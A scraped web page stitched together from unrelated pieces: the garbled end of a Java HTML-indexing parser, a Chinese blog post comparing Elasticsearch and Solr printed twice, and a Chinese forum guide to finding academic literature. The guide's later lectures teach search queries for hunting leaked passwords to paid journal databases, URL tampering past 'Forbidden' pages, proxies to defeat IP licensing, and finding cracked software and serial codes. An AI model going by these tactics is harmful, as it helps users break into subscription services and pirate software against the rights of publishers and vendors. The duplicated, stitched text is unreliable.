if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void parseHTML (File f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出标题<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF ---
全文搜索引擎 ElasticSearch 还是 Solr?
网站优化 • 优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-05-27 20:41
前言
最近项目组安排了一个任务,项目中用到了基于 Solr 的全文搜索,但是该 Solr 搜索云项目不稳定,经常查询不出来数据,需要手动全量同步。
而且它还是其他团队在维护,依赖性太强,导致 Solr 服务一出问题,我们的项目也基本瘫痪,因为所有的依赖查询都无结果数据了。
所以考虑开发一个适配层,如果 Solr 搜索出问题,自动切换到新的搜索 ES。其实可以通过 Solr 集群或者服务容错等设计来解决该问题。
但是先不考虑本身设计的合理性,领导需要开发,所以我开始踏上了搭建 ES 服务的道路,从零开始,因为之前完全没接触过 ES,所以通过本系列来记录下自己的开发过程。
本篇文章的总体内容大致如下图:
由 ReyCG 精心绘制并提供
什么是全文搜索引擎?
百度百科中的定义:
全文搜索引擎是目前广泛应用的主流搜索引擎。它的工作原理是计算机索引程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现的次数和位置,当用户查询时,检索程序就根据事先建立的索引进行查找,并将查找的结果反馈给用户的检索方式。这个过程类似于通过字典中的检索字表查字的过程。
从定义中我们已经可以大致了解全文检索的思路了,为了更详细的说明,我们先从生活中的数据说起。
我们生活中的数据总体分为两种:
当然有的地方还会有第三种:半结构化数据,如 XML,HTML 等,当根据需要可按结构化数据来处理,也可抽取出纯文本按非结构化数据来处理。
根据两种数据分类,搜索也相应的分为两种:结构化数据搜索和非结构化数据搜索。
对于结构化数据,我们一般都是可以通过关系型数据库(MySQL,Oracle 等)的 table 的方式存储和搜索,也可以建立索引。
对于非结构化数据,也即对全文数据的搜索主要有两种方法:
顺序扫描:通过文字名称也可了解到它的大概搜索方式,即按照顺序扫描的方式查询特定的关键字。
例如给你一张报纸,让你找到该报纸中“RNG”的文字在哪些地方出现过。你肯定需要从头到尾把报纸阅读扫描一遍,然后标记出关键字在哪些版块出现过以及它的出现位置。
这种方式无疑是最耗时的最低效的,如果报纸排版字体小,而且版块较多甚至有多份报纸,等你扫描完你的眼睛也差不多了。
全文检索:对非结构化数据顺序扫描很慢,我们是否可以进行优化?把我们的非结构化数据想办法弄得有一定结构不就行了吗?
将非结构化数据中的一部分信息提取出来,重新组织,使其变得有一定结构,然后对此有一定结构的数据进行搜索,从而达到搜索相对较快的目的。
这种方式就构成了全文检索的基本思路。这部分从非结构化数据中提取出的然后重新组织的信息,我们称之索引。
还以读报纸为例,我们想关注英雄联盟 S8 全球总决赛的新闻,假如都是 RNG 的粉丝,如何快速找到 RNG 新闻的报纸和版块呢?
全文检索的方式就是,将所有报纸中所有版块中关键字进行提取,如"EDG","RNG","FW","战队","英雄联盟"等。
然后对这些关键字建立索引,通过索引我们就可以对应到该关键词出现的报纸和版块。注意区别目录搜索引擎。
为什么要用全文搜索搜索引擎
之前,有同事问我,为什么要用搜索引擎?我们的所有数据在数据库里面都有,而且 Oracle、SQL Server 等数据库里也能提供查询检索或者聚类分析功能,直接通过数据库查询不就可以了吗?
确实,我们大部分的查询功能都可以通过数据库查询获得,如果查询效率低下,还可以通过建数据库索引,优化 SQL 等方式提升效率,甚至通过引入缓存来加快数据的返回速度。
如果数据量更大,就可以分库分表来分担查询压力。那为什么还要全文搜索引擎呢?我们主要从以下几个原因分析:
数据类型
全文索引搜索支持非结构化数据的搜索,可以更好地快速搜索大量存在的任何单词或单词组的非结构化文本。
例如 Google,百度类的网站搜索,它们都是根据网页中的关键字生成索引,我们在搜索的时候输入关键字,它们会将该关键字即索引匹配到的所有网页返回;还有常见的项目中应用日志的搜索等等。
对于这些非结构化的数据文本,关系型数据库搜索不是能很好的支持。
索引的维护
一般传统数据库,全文检索都实现的很鸡肋,因为一般也没人用数据库存文本字段。
进行全文检索需要扫描整个表,如果数据量大的话即使对 SQL 的语法优化,也收效甚微。
建立了索引,但是维护起来也很麻烦,对于 insert 和 update 操作都会重新构建索引。
什么时候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
现在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它们的索引建立都是根据倒排索引的方式生成索引,何谓倒排索引?
维基百科:倒排索引(英语:Inverted index),也常被称为反向索引、置入档案或反向档案,是一种索引方法,被用来存储在全文搜索下某个单词在一个文档或者一组文档中的存储位置的映射。它是文档检索系统中最常用的数据结构。
Lucene
Lucene 是一个 Java 全文搜索引擎,完全用 Java 编写。Lucene 不是一个完整的应用程序,而是一个代码库和 API,可以很容易地用于向应用程序添加搜索功能。Lucene 通过简单的 API 提供强大的功能:
可扩展的高性能索引:
强大,准确,高效的搜索算法:
跨平台解决方案:
Apache 软件基金会:
Solr
Apache Solr 是一个基于名为 Lucene 的 Java 库构建的开源搜索平台。它以用户友好的方式提供 Apache Lucene 的搜索功能。
作为一个行业参与者已近十年,它是一个成熟的产品,拥有强大而广泛的用户社区。
它提供分布式索引,复制,负载平衡查询以及自动故障转移和恢复。如果它被正确部署然后管理得好,它就能够成为一个高度可靠,可扩展且容错的搜索引擎。
很多互联网巨头,如 Netflix,eBay,Instagram 和亚马逊(CloudSearch)都使用 Solr,因为它能够索引和搜索多个站点。微信搜索公众号:Java项目精选,回复:java 领取资料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一个开源(Apache 2 许可证),基于 Apache Lucene 库构建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后几年推出的。它提供了一个分布式,多租户能力的全文搜索引擎,具有 HTTP Web 界面(REST)和无架构 JSON 文档。
Elasticsearch 的官方客户端库提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以划分为分片的索引,并且每个分片可以具有多个副本。
每个 Elasticsearch 节点都可以有一个或多个分片,其引擎也可以充当协调器,将操作委派给正确的分片。
Elasticsearch 可通过近实时搜索进行扩展。其主要功能之一是多租户。主要功能列表包括:
Elasticsearch vs Solr 的选择
由于 Lucene 的复杂性,一般很少会考虑它作为搜索的第一选择,排除一些公司需要自研搜索框架,底层需要依赖 Lucene。
所以这里我们重点分析哪一个更好?它们有什么不同?你应该使用哪一个?
历史比较
Apache Solr 是一个成熟的项目,拥有庞大而活跃的开发和用户社区,以及 Apache 品牌。
Solr 于 2006 年首次发布到开源,长期以来一直占据着搜索引擎领域,并且是任何需要搜索功能的人的首选引擎。
它的成熟转化为丰富的功能,而不仅仅是简单的文本索引和搜索;如分面,分组,强大的过滤,可插入的文档处理,可插入的搜索链组件,语言检测等。
Solr 在搜索领域占据了多年的主导地位。然后,在 2010 年左右,Elasticsearch 成为市场上的另一种选择。
那时候,它远没有 Solr 那么稳定,没有 Solr 的功能深度,没有思想分享,品牌等等。
Elasticsearch 虽然很年轻,但它也自己的一些优势,Elasticsearch 建立在更现代的原则上,针对更现代的用例,并且是为了更容易处理大型索引和高查询率而构建的。
此外,由于它太年轻,没有社区可以合作,它可以自由地向前推进,而不需要与其他人(用户或开发人员)达成任何共识或合作,向后兼容,或任何其他更成熟的软件通常必须处理。
因此,它在 Solr 之前就公开了一些非常受欢迎的功能(例如,接近实时搜索,英文:Near Real-Time Search)。
从技术上讲,NRT 搜索的能力确实来自 Lucene,它是 Solr 和 Elasticsearch 使用的基础搜索库。
具有讽刺意味的是,因为 Elasticsearch 首先公开了 NRT 搜索,所以人们将 NRT 搜索与 Elasticsearch 联系在一起。
尽管 Solr 和 Lucene 都是同一个 Apache 项目的一部分,但是,人们会首先期望 Solr 具有如此高要求的功能。
特征差异比较
这两个搜索引擎都是流行的,先进的的开源搜索引擎。它们都是围绕核心底层搜索库 Lucene 构建的,但它们又是不同的。
像所有东西一样,每个都有其优点和缺点,根据您的需求和期望,每个都可能更好或更差。
Solr 和 Elasticsearch 都在快速发展,所以,话不多说,先来看下它们的差异清单:
查看全部
全文搜索引擎 ElasticSearch 还是 Solr?
前言
最近项目组安排了一个任务,项目中用到了基于 Solr 的全文搜索,但是该 Solr 搜索云项目不稳定,经常查询不出来数据,需要手动全量同步。
而且它还是其他团队在维护,依赖性太强,导致 Solr 服务一出问题,我们的项目也基本瘫痪,因为所有的依赖查询都无结果数据了。
所以考虑开发一个适配层,如果 Solr 搜索出问题,自动切换到新的搜索 ES。其实可以通过 Solr 集群或者服务容错等设计来解决该问题。
但是先不考虑本身设计的合理性,领导需要开发,所以我开始踏上了搭建 ES 服务的道路,从零开始,因为之前完全没接触过 ES,所以通过本系列来记录下自己的开发过程。
本篇文章的总体内容大致如下图:
由 ReyCG 精心绘制并提供
什么是全文搜索引擎?
百度百科中的定义:
全文搜索引擎是目前广泛应用的主流搜索引擎。它的工作原理是计算机索引程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现的次数和位置,当用户查询时,检索程序就根据事先建立的索引进行查找,并将查找的结果反馈给用户的检索方式。这个过程类似于通过字典中的检索字表查字的过程。
从定义中我们已经可以大致了解全文检索的思路了,为了更详细的说明,我们先从生活中的数据说起。
我们生活中的数据总体分为两种:
当然有的地方还会有第三种:半结构化数据,如 XML,HTML 等,当根据需要可按结构化数据来处理,也可抽取出纯文本按非结构化数据来处理。
根据两种数据分类,搜索也相应的分为两种:结构化数据搜索和非结构化数据搜索。
对于结构化数据,我们一般都是可以通过关系型数据库(MySQL,Oracle 等)的 table 的方式存储和搜索,也可以建立索引。
对于非结构化数据,也即对全文数据的搜索主要有两种方法:
顺序扫描:通过文字名称也可了解到它的大概搜索方式,即按照顺序扫描的方式查询特定的关键字。
例如给你一张报纸,让你找到该报纸中“RNG”的文字在哪些地方出现过。你肯定需要从头到尾把报纸阅读扫描一遍,然后标记出关键字在哪些版块出现过以及它的出现位置。
这种方式无疑是最耗时的最低效的,如果报纸排版字体小,而且版块较多甚至有多份报纸,等你扫描完你的眼睛也差不多了。
全文检索:对非结构化数据顺序扫描很慢,我们是否可以进行优化?把我们的非结构化数据想办法弄得有一定结构不就行了吗?
将非结构化数据中的一部分信息提取出来,重新组织,使其变得有一定结构,然后对此有一定结构的数据进行搜索,从而达到搜索相对较快的目的。
这种方式就构成了全文检索的基本思路。这部分从非结构化数据中提取出的然后重新组织的信息,我们称之索引。
还以读报纸为例,我们想关注英雄联盟 S8 全球总决赛的新闻,假如都是 RNG 的粉丝,如何快速找到 RNG 新闻的报纸和版块呢?
全文检索的方式就是,将所有报纸中所有版块中关键字进行提取,如"EDG","RNG","FW","战队","英雄联盟"等。
然后对这些关键字建立索引,通过索引我们就可以对应到该关键词出现的报纸和版块。注意区别目录搜索引擎。
为什么要用全文搜索搜索引擎
之前,有同事问我,为什么要用搜索引擎?我们的所有数据在数据库里面都有,而且 Oracle、SQL Server 等数据库里也能提供查询检索或者聚类分析功能,直接通过数据库查询不就可以了吗?
确实,我们大部分的查询功能都可以通过数据库查询获得,如果查询效率低下,还可以通过建数据库索引,优化 SQL 等方式提升效率,甚至通过引入缓存来加快数据的返回速度。
如果数据量更大,就可以分库分表来分担查询压力。那为什么还要全文搜索引擎呢?我们主要从以下几个原因分析:
数据类型
全文索引搜索支持非结构化数据的搜索,可以更好地快速搜索大量存在的任何单词或单词组的非结构化文本。
例如 Google,百度类的网站搜索,它们都是根据网页中的关键字生成索引,我们在搜索的时候输入关键字,它们会将该关键字即索引匹配到的所有网页返回;还有常见的项目中应用日志的搜索等等。
对于这些非结构化的数据文本,关系型数据库搜索不是能很好的支持。
索引的维护
一般传统数据库,全文检索都实现的很鸡肋,因为一般也没人用数据库存文本字段。
进行全文检索需要扫描整个表,如果数据量大的话即使对 SQL 的语法优化,也收效甚微。
建立了索引,但是维护起来也很麻烦,对于 insert 和 update 操作都会重新构建索引。
什么时候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
现在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它们的索引建立都是根据倒排索引的方式生成索引,何谓倒排索引?
维基百科:倒排索引(英语:Inverted index),也常被称为反向索引、置入档案或反向档案,是一种索引方法,被用来存储在全文搜索下某个单词在一个文档或者一组文档中的存储位置的映射。它是文档检索系统中最常用的数据结构。
Lucene
Lucene 是一个 Java 全文搜索引擎,完全用 Java 编写。Lucene 不是一个完整的应用程序,而是一个代码库和 API,可以很容易地用于向应用程序添加搜索功能。Lucene 通过简单的 API 提供强大的功能:
可扩展的高性能索引:
强大,准确,高效的搜索算法:
跨平台解决方案:
Apache 软件基金会:
Solr
Apache Solr 是一个基于名为 Lucene 的 Java 库构建的开源搜索平台。它以用户友好的方式提供 Apache Lucene 的搜索功能。
作为一个行业参与者已近十年,它是一个成熟的产品,拥有强大而广泛的用户社区。
它提供分布式索引,复制,负载平衡查询以及自动故障转移和恢复。如果它被正确部署然后管理得好,它就能够成为一个高度可靠,可扩展且容错的搜索引擎。
很多互联网巨头,如 Netflix,eBay,Instagram 和亚马逊(CloudSearch)都使用 Solr,因为它能够索引和搜索多个站点。微信搜索公众号:Java项目精选,回复:java 领取资料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一个开源(Apache 2 许可证),基于 Apache Lucene 库构建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后几年推出的。它提供了一个分布式,多租户能力的全文搜索引擎,具有 HTTP Web 界面(REST)和无架构 JSON 文档。
Elasticsearch 的官方客户端库提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以划分为分片的索引,并且每个分片可以具有多个副本。
每个 Elasticsearch 节点都可以有一个或多个分片,其引擎也可以充当协调器,将操作委派给正确的分片。
Elasticsearch 可通过近实时搜索进行扩展。其主要功能之一是多租户。主要功能列表包括:
Elasticsearch vs Solr 的选择
由于 Lucene 的复杂性,一般很少会考虑它作为搜索的第一选择,排除一些公司需要自研搜索框架,底层需要依赖 Lucene。
所以这里我们重点分析哪一个更好?它们有什么不同?你应该使用哪一个?
历史比较
Apache Solr 是一个成熟的项目,拥有庞大而活跃的开发和用户社区,以及 Apache 品牌。
Solr 于 2006 年首次发布到开源,长期以来一直占据着搜索引擎领域,并且是任何需要搜索功能的人的首选引擎。
它的成熟转化为丰富的功能,而不仅仅是简单的文本索引和搜索;如分面,分组,强大的过滤,可插入的文档处理,可插入的搜索链组件,语言检测等。
Solr 在搜索领域占据了多年的主导地位。然后,在 2010 年左右,Elasticsearch 成为市场上的另一种选择。
那时候,它远没有 Solr 那么稳定,没有 Solr 的功能深度,没有思想分享,品牌等等。
Elasticsearch 虽然很年轻,但它也自己的一些优势,Elasticsearch 建立在更现代的原则上,针对更现代的用例,并且是为了更容易处理大型索引和高查询率而构建的。
此外,由于它太年轻,没有社区可以合作,它可以自由地向前推进,而不需要与其他人(用户或开发人员)达成任何共识或合作,向后兼容,或任何其他更成熟的软件通常必须处理。
因此,它在 Solr 之前就公开了一些非常受欢迎的功能(例如,接近实时搜索,英文:Near Real-Time Search)。
从技术上讲,NRT 搜索的能力确实来自 Lucene,它是 Solr 和 Elasticsearch 使用的基础搜索库。
具有讽刺意味的是,因为 Elasticsearch 首先公开了 NRT 搜索,所以人们将 NRT 搜索与 Elasticsearch 联系在一起。
尽管 Solr 和 Lucene 都是同一个 Apache 项目的一部分,但是,人们会首先期望 Solr 具有如此高要求的功能。
特征差异比较
这两个搜索引擎都是流行的,先进的的开源搜索引擎。它们都是围绕核心底层搜索库 Lucene 构建的,但它们又是不同的。
像所有东西一样,每个都有其优点和缺点,根据您的需求和期望,每个都可能更好或更差。
Solr 和 Elasticsearch 都在快速发展,所以,话不多说,先来看下它们的差异清单:
你想要的文献搜索方法都在这里
网站优化 • 优采云 发表了文章 • 0 个评论 • 455 次浏览 • 2022-05-23 07:47
2、很时候我们可以下载下来,但以上面说的那种方法进行回推时,常常会出现"Forbidden"的页面,这是很多网站都存在的bug。
要解决个问题就需要利用这个bug和靠你对所查找的内容比较熟悉。就举一个简单的例子:google里检索"molecular biology of the gene"时
... 0211/Chapter209.ppt这时我只是对最后面的"209"进行简单的更改为"201-220"就可以得到这本书完整的ppt文件。还有的最后面是出现字母,可对相应的字母进行修改即可,最难的是要对文件名进行修改,这就需要比较扎实的专业基础。
3、不要瞧不起中文艺工作者网站。以英文作为关键词进行搜索时英文网站总是出现在最前面,而等看到中文网站时都已经失去了耐心,我们有时候可搜索中文网站,往往会得到很多意想不到的东西。特别是我们隔岸相往的同胞做的ppt也是相当的漂亮!
4、放宽检索范围。
5、我们最后要解决的是下载问题。很网站提供很多下载链接,下载速度一般只有3、5kb, 最糟的只有几百字节。而一般的网页只能同时对两个文件进行下载。解决的方法是重新打开IE然后在新的窗口打开链接,有一次我同时打开十几个窗口进行下载,很快就把所有的内容下载下来。这种下载方法要慎用,这很容易造成对网站的恶意下载。
6、很多网站提供ppt下载的时候也同时提供动画在线观,看着这么多的漂亮东东却无法下载。不是很可惜吗?有关这方面的内容wfj2000在其它帖子已提到过我就不说了。
恳请各位高手对我提出宝贵意见。
四、Bioon全心奉献的系列检索讲座
注意:本讲座中的方法适用于生物与医学的免费全文的文献检索,以及网上各种有用的资料的搜索(幻灯片,各种讲座资料,电子书等),通过使用这些技巧并与著名搜索引擎google(,中文的多使用百度配合使用,以下所有内容都是基于这两个搜索引擎讲解的,更多的讲座见论坛中检索技巧版( )
第一讲:关键词的选择技巧.
推荐先读读google从入门到精通等论文(请注册后再登录)
( ... ;ID=2997&skin=1)
我们了解常规搜索方式,但每个人都会搜索出不同结果,为什么?核心问题在于关键词选择不同。
关键的分析必须保证两点:
一是专业性,即这个词是很精的,可能简化你的搜索结果,因而词甚至可以怪一点,尽量避免大众化的词,如net,site等。即使需要大众化词,如password,username,但若加入一两个特征词,则结果将大大简化。
二是具有代表性,也即这个词具有代表意义,也即它在包含你所需网页内,它在出现的可能,以免一些有用信息被遗漏。
如何达到上述两个要求?我们必须分析网页中字词出现的特点,以及本学科专业词汇特征。
大家看看yahoo,google等medicine和science--biology条目下的分类,发现许多相关的词均在内,如
医学有关的都在Science & Technology 大条目下,又细分为:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果仅以medicine检索,就会漏掉不少很有价值的信息,特别是漏掉的专业的。
其次,在medicine下又有很多数据库,如:EBSCO OVID,PROQUEST还有各大出版社自己的万能密码。
大家应该明白一些了吧。
第二讲:主要讲定点搜索和遍搜索的区别及应用。
所谓定点搜索,即指定找某个数据库相关信息,或某篇论文。
遍搜索是指在网上任意逛逛,找些pswd,或者无心插柳柳成荫。
(1)定点数据库和期刊搜索。还是同第一讲一样,主要分析关键词的选择。当然关键词之一是这个数据库的名称。大家注意了:数据库名称一定要用全称和简称都试试。
关键词之二是free,ID,password,user name。
为什么这个关键词?其实这些只能称作是一个关键词,因为它们具有同性或不相容性。如elservier数据库,你最好不要用username和password,因为它主要是采用IP限制的。因而你的重点放在pxory!而不是上述的任何一个。而找某一杂志,则多用user name 和ID/pas
sword合用(注:ID/password只可用一个!),因为杂志往往个人购买,便拥有帐号了。
关键词三:这些数据库可能出现的地方?大学图书馆最多!即使是杂志,图书馆也较个人帐号多。那么图书馆主页上有哪些关键词?library,database,trial,free....,可看看国内一些图书馆的主页,仔细分析比较,便能找到一些共性的东西。
(2)定点论文搜索。
论文,在国外通用PDF格式,因而论文搜索必须用PDF这个核心内容。即找后缀为PDF的东东,语法:filetype DF 这是关键之一
关键词之二:找你所需论文的题或文摘中最怪的词!而不是常用词。(不要用很专业的词往往能找到相近的论文,所谓无心插柳了)
命中率高,但最好是题目中出现的词,为什么?因为往往许多个人站点收录了不少论文,而这些论文往往是以题目名称作为索引的。
第三讲 实战演习-----专业文献搜索技巧。
专业文献与普通文献不同,很难查到。这是本人长期搜索的技巧,十分有效,查专业文献实在好!
1. 查找某本专业刊物的登录密码,如Brain Res
首先选关键词:杂志名(Brain Res),登录(sign in),密码(password)
这样成功率并不高,其实细细看来,不应有登录,因为许多提供密码的地方,并不出现登录这个词,而多出现用户名(user name),而且杂志名多用全称(brain research),再试试
!哦,成功了!
2. 查找某篇论文的全文,尤其是外文文献,许多全文服务均需收费。
当然可先按第一种方法搜索一下,看看有无密码可寻,若无,则找到该篇论文的特殊字段(key words),然后搜索PDF文件。不过这有几个条件,一是该杂志确已上网,有明确地址 ,其二,一般需在1997年以后文献才可。
举例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
这篇论文是收费的。采用:inurldf:Gattullo Pagliaro coronary,结果24项,找到其中的第2页,有下面一项Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 网页快照 - 类似网页
打开网页快照,第一篇即是其目录,下载即可!OK!成功
3. 查找专业软件的破解软件或注册码
常规软件的注册码很好找,但专业软件太少,而且注册码也少,破解更少,如何找?
如找origin 6.1版的破解版,或注册码。不管采用网易、搜狐等软件搜索,均找不到该软件。那么只好借用特殊搜索了。
分析:一般有些破解软件的页面一般至少有以下一些信息:软件名称,版本,序列号(serial number, OR sn),破解(crack, OR CRK),提供下载的地方有.ZIP字样(压缩文件为多
)。为了方便起见,也防止版本太精确反而不易搜索的特点,在googlek 输入origin 破解, 哦!OK!成功!如果其它的软件一次搜索的结果太多的话,则考虑加6.1以减小其搜索范围。或搜索结果太少且不是需要的话,将破解换为"注册码"试试,一般效果不错。
4. 查找中文文献的免费全文如我知道重庆维普提供免费全文服务,但目前许多站点都不能用了。另外,还有万方数据库、CNKI也提供,那么我如何查到这些数据库的免费入口呢?
这需要一定的技巧,采用google或百度试试:输入:重庆维普 密码哦!66项!仔细找一找,必有结果!OK!
第四讲 百度与google比较 。
大家好,这一讲讲百度与google比较
搜索英文不必说用google,搜索中文呢?
很多人并不了解它们更新的情况,google发展早,因而它贮存了大量旧的信息,百度发展迟,信息较新。
更新速度:对中文google一般半月至一月一更新,而且仅搜索到三级链接,三级以下便不在搜索,那么我如何看到最新的google搜索的结果呢?这个站点:,可见google采用不同服务器逐步更新的。百度的更新较快,半月一次,最快一周。那么如何衡梁这半月与一月的差剧与价值?
对于一些试用数据库,有效期短,或象万方等一月一换密码,最好选用百度,现在维普老是打一枪换一个地方,因而也只好用百度了,google往往搜索出来的结果已过期了。而能长期使用的密码或数据库,一般象国外的(国内有没有,我真不知道),最好用google,
毕竟技术更老道一些,搜索出的结果更多,更广!
第五讲 补充讲一点关键词的选择。
关于关键词,最近看到高手huangwei98 公布的一些关键词,很值得参考。但总之一句话,
高手=技巧+时间,有时多看看,往往获得其它的密码,这是太正常的事了。
关键词组合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母样!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是数据库+password+补充性关键词(或称定向性关键词)
所谓定向性关键词是将你的检索范围定于某一可能的区域,如图书馆、个人站点,以缩小检索范围。如单个杂志,可定位于个人,若是数据库检索,则宜加library,因为个人是不会买数据库的。同时另一个定向是生物和医学,所用的关键词medicine,biology,biomed.
当然仍可加第三定向关键词,如杂志(journal)、免费(free)、在线(online),但一定要注意第三关键词的特征性不强,要选择使用,不可过用,否则会将一大批可能有用的站点排除掉,切记!
但这主要针对国外的,而国内的一般多在各大学图书馆内,常用密码、免费、杂志、数据库名等搜索,效果较好。
但对于有些杂志,如sciencedirect,Ideallibrary多采用IP验证方式,一般密码并不能用,这时多采用代理服务器方式,因而如何找到有效的代理太重要的。如清华的elsevier便是代理。下下一讲讲如何找代理。
第六讲 关键词联合使用。
国内图书馆提到数据库往往只提***数据库,而国外图书馆多列出该数据库内各种杂志名,而且多按字母分类。因而为了提高检索的准确率,一般将同一数据库内的杂志的首字母相同的杂志名用两到三个联合搜索,再结合前面讲的加用其它关键词,能有效缩小检索范围
,翕中率极高。从这里可以看到,如果透彻分析一些图书馆内主页设计的特征,是搜索的关键。
